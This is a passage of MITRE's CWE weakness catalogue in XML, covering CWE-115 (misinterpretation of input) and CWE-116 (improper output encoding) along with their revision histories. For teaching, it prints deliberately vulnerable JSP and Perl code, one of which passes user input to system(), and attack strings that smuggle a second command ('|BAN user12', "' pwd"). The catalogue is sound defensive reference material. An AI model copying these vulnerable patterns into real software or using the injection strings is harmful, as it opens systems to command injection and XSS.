            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="115" Name="Misinterpretation of Input" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product misinterprets an input, whether from an attacker or another product, in a security-relevant fashion.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="436" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-2225</Reference>
               <Description>Product sees dangerous file extension in free text of a group discussion, disconnects all users.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2225</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0003</Reference>
               <Description>Product does not correctly import and process security settings from another product.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0003</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Misinterpretation Error</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Research Gap">This concept needs further study. It is likely a factor in several weaknesses, possibly resultant as well. Overlaps Multiple Interpretation Errors (MIE).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Misinterpretation Error</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="116" Name="Improper Encoding or Escaping of Output" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.</Description>
         <Extended_Description>
            <xhtml:p>Improper encoding or escaping can allow attackers to change the commands that are sent to another component, inserting malicious commands instead.</xhtml:p>
            <xhtml:p>Most products follow a certain protocol that uses structured messages for communication between components, such as queries or commands. These structured messages can contain raw data interspersed with metadata or control information. For example, "GET /index.html HTTP/1.1" is a structured message containing a command ("GET") with a single argument ("/index.html") and metadata about which protocol version is being used ("HTTP/1.1").</xhtml:p>
            <xhtml:p>If an application uses attacker-supplied inputs to construct a structured message without properly encoding or escaping, then the attacker could insert special characters that will cause the data to be interpreted as control information or metadata. Consequently, the component that receives the output will perform the wrong operations, or otherwise interpret the data incorrectly.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="707" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="74" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Often"/>
            <Technology Name="Database Server" Prevalence="Often"/>
            <Technology Name="Web Server" Prevalence="Often"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Output Sanitization</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Output Validation</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Output Encoding</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Note>The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Note>The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-1">
               <Method>Automated Static Analysis</Method>
               <Description>This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.</Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>This is not a perfect solution, since 100% accuracy and coverage are not feasible.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-2">
               <Method>Automated Dynamic Analysis</Method>
               <Description>This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</Description>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-4.3">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.</xhtml:p>
                  <xhtml:p>Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-27">
               <Phase>Architecture and Design</Phase>
               <Strategy>Parameterization</Strategy>
               <Description>
                  <xhtml:p>If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.</xhtml:p>
                  <xhtml:p>For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>Fully specify which encodings are required by components that will be communicating with each other.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This code displays an email address that was submitted as part of a form.</Intro_Text>
               <Example_Code Nature="Bad" Language="JSP">
                  <xhtml:div>&lt;% String email = request.getParameter("email"); %&gt;<xhtml:br/>...<xhtml:br/>Email Address: &lt;%= email %&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>The value read from the form parameter is reflected back to the client browser without having been encoded prior to output, allowing various XSS attacks (CWE-79).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>Consider a chat application in which a front-end web application communicates with a back-end server. The back-end is legacy code that does not perform authentication or authorization, so the front-end must implement it. The chat protocol supports two commands, SAY and BAN, although only administrators can use the BAN command. Each argument must be separated by a single space. The raw inputs are URL-encoded. The messaging protocol allows multiple commands to be specified on the same line if they are separated by a "|" character.</Intro_Text>
               <Body_Text>First let's look at the back end command processor code</Body_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>$inputString = readLineFromFileHandle($serverFH);<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i># generate an array of strings separated by the "|" character.</xhtml:i>
                     <xhtml:br/>@commands = split(/\|/, $inputString);<xhtml:br/>
                     <xhtml:br/>foreach $cmd (@commands) {<xhtml:div style="margin-left:1em;">
                        <xhtml:br/>
                        <xhtml:i># separate the operator from its arguments based on a single whitespace</xhtml:i>
                        <xhtml:br/>($operator, $args) = split(/ /, $cmd, 2);<xhtml:br/>
                        <xhtml:br/>$args = UrlDecode($args);<xhtml:br/>if ($operator eq "BAN") {<xhtml:div style="margin-left:1em;">ExecuteBan($args);</xhtml:div>}<xhtml:br/>elsif ($operator eq "SAY") {<xhtml:div style="margin-left:1em;">ExecuteSay($args);</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The front end web application receives a command, encodes it for sending to the server, performs the authorization check, and sends the command to the server.</Body_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>$inputString = GetUntrustedArgument("command");<xhtml:br/>($cmd, $argstr) = split(/\s+/, $inputString, 2);<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i># removes extra whitespace and also changes CRLF's to spaces</xhtml:i>
                     <xhtml:br/>$argstr =~ s/\s+/ /gs;<xhtml:br/>
                     <xhtml:br/>$argstr = UrlEncode($argstr);<xhtml:br/>if (($cmd eq "BAN") &amp;&amp; (! IsAdministrator($username))) {<xhtml:div style="margin-left:1em;">die "Error: you are not the admin.\n";</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i># communicate with file server using a file handle</xhtml:i>
                     <xhtml:br/>$fh = GetServerFileHandle("myserver");<xhtml:br/>
                     <xhtml:br/>print $fh "$cmd $argstr\n";</xhtml:div>
               </Example_Code>
               <Body_Text>It is clear that, while the protocol and back-end allow multiple commands to be sent in a single request, the front end only intends to send a single command. However, the UrlEncode function could leave the "|" character intact. If an attacker provides:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>SAY hello world|BAN user12</xhtml:div>
               </Example_Code>
               <Body_Text>then the front end will see this is a "SAY" command, and the $argstr will look like "hello world | BAN user12". Since the command is "SAY", the check for the "BAN" command will fail, and the front end will send the URL-encoded command to the back end:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>SAY hello%20world|BAN%20user12</xhtml:div>
               </Example_Code>
               <Body_Text>The back end, however, will treat these as two separate commands:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>SAY hello world<xhtml:br/>BAN user12</xhtml:div>
               </Example_Code>
               <Body_Text>Notice, however, that if the front end properly encodes the "|" with "%7C", then the back end will only process a single command.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This example takes user input, passes it through an encoding scheme and then creates a directory specified by the user.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>sub GetUntrustedInput {<xhtml:div style="margin-left:1em;">return($ARGV[0]);</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>sub encode {<xhtml:div style="margin-left:1em;">my($str) = @_;<xhtml:br/>$str =~ s/\&amp;/\&amp;amp;/gs;<xhtml:br/>$str =~ s/\"/\&amp;quot;/gs;<xhtml:br/>$str =~ s/\'/\&amp;apos;/gs;<xhtml:br/>$str =~ s/\&lt;/\&amp;lt;/gs;<xhtml:br/>$str =~ s/\&gt;/\&amp;gt;/gs;<xhtml:br/>return($str);</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>sub doit {<xhtml:div style="margin-left:1em;">my $uname = encode(GetUntrustedInput("username"));<xhtml:br/>print "&lt;b&gt;Welcome, $uname!&lt;/b&gt;&lt;p&gt;\n";<xhtml:br/>system("cd /home/$uname; /bin/ls -l");<xhtml:br/>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer attempts to encode dangerous characters, however the denylist for encoding is incomplete (CWE-184) and an attacker can still pass a semicolon, resulting in a chain with command injection (CWE-77).</Body_Text>
               <Body_Text>Additionally, the encoding routine is used inappropriately with command execution. An attacker doesn't even need to insert their own semicolon. The attacker can instead leverage the encoding routine to provide the semicolon to separate the commands. If an attacker supplies a string of the form:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>' pwd</xhtml:div>
               </Example_Code>
               <Body_Text>then the program will encode the apostrophe and insert the semicolon, which functions as a command separator when passed to the system function. This allows the attacker to complete the command injection.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2021-41232</Reference>
               <Description>Chain: authentication routine in Go-based agile development product does not escape user name (CWE-116), allowing LDAP injection (CWE-90)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-41232</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4636</Reference>
               <Description>OS command injection in backup software using shell metacharacters in a filename; correct behavior would require that this filename could not be changed.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4636</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0769</Reference>
               <Description>Web application does not set the charset when sending a page to a browser, allowing for XSS exploitation when a browser chooses an unexpected encoding.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0769</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0005</Reference>
               <Description>Program does not set the charset when sending a page to a browser, allowing for XSS exploitation when a browser chooses an unexpected encoding.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0005</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5573</Reference>
               <Description>SQL injection via password parameter; a strong password might contain "&amp;"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5573</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3773</Reference>
               <Description>Cross-site scripting in chat application via a message subject, which normally might contain "&amp;" and other XSS-related characters.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3773</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0757</Reference>
               <Description>Cross-site scripting in chat application via a message, which normally might be allowed to contain arbitrary content.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0757</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>22</Entry_ID>
               <Entry_Name>Improper Output Handling</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>IDS00-J</Entry_ID>
               <Entry_Name>Sanitize untrusted data passed across a trust boundary</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>IDS05-J</Entry_ID>
               <Entry_Name>Use a subset of ASCII for file and path names</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Oracle Coding Standard for Java">
               <Entry_ID>IDS00-J</Entry_ID>
               <Entry_Name>Prevent SQL injection</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>IDS33-PL</Entry_ID>
               <Entry_Name>Sanitize untrusted data passed across a trust boundary</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="104"/>
            <Related_Attack_Pattern CAPEC_ID="73"/>
            <Related_Attack_Pattern CAPEC_ID="81"/>
            <Related_Attack_Pattern CAPEC_ID="85"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-45"/>
            <Reference External_Reference_ID="REF-46"/>
            <Reference External_Reference_ID="REF-47"/>
            <Reference External_Reference_ID="REF-48"/>
            <Reference External_Reference_ID="REF-49"/>
            <Reference External_Reference_ID="REF-50"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 11, &#34;Canonical Representation Issues&#34; Page 363"/>
         </References>
         <Notes>
            <Note Type="Relationship">This weakness is primary to all weaknesses related to injection (CWE-74) since the inherent nature of injection involves the violation of structured messages.</Note>
            <Note Type="Relationship">
               <xhtml:p>CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks.</xhtml:p>
               <xhtml:p>However, input validation is not always sufficient, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise neutralized. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.</xhtml:p>
            </Note>
            <Note Type="Terminology">The usage of the "encoding" and "escaping" terms varies widely. For example, in some programming languages, the terms are used interchangeably, while other languages provide APIs that use both terms for different tasks. This overlapping usage extends to the Web, such as the "escape" JavaScript function whose purpose is stated to be encoding. The concepts of encoding and escaping predate the Web by decades. Given such a context, it is difficult for CWE to adopt a consistent vocabulary that will not be misinterpreted by some constituency.</Note>
            <Note Type="Theoretical">This is a data/directive boundary error in which data boundaries are not sufficiently enforced before it is sent to a different control sphere.</Note>
            <Note Type="Research Gap">While many published vulnerabilities are related to insufficient output encoding, there is such an emphasis on input validation as a protection mechanism that the underlying causes are rarely described. Within CVE, the focus is primarily on well-understood issues like cross-site scripting and SQL injection. It is likely that this weakness frequently occurs in custom protocols that support multiple encodings, which are not necessarily detectable with automated techniques.</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Terminology_Notes, Theoretical_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationship_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
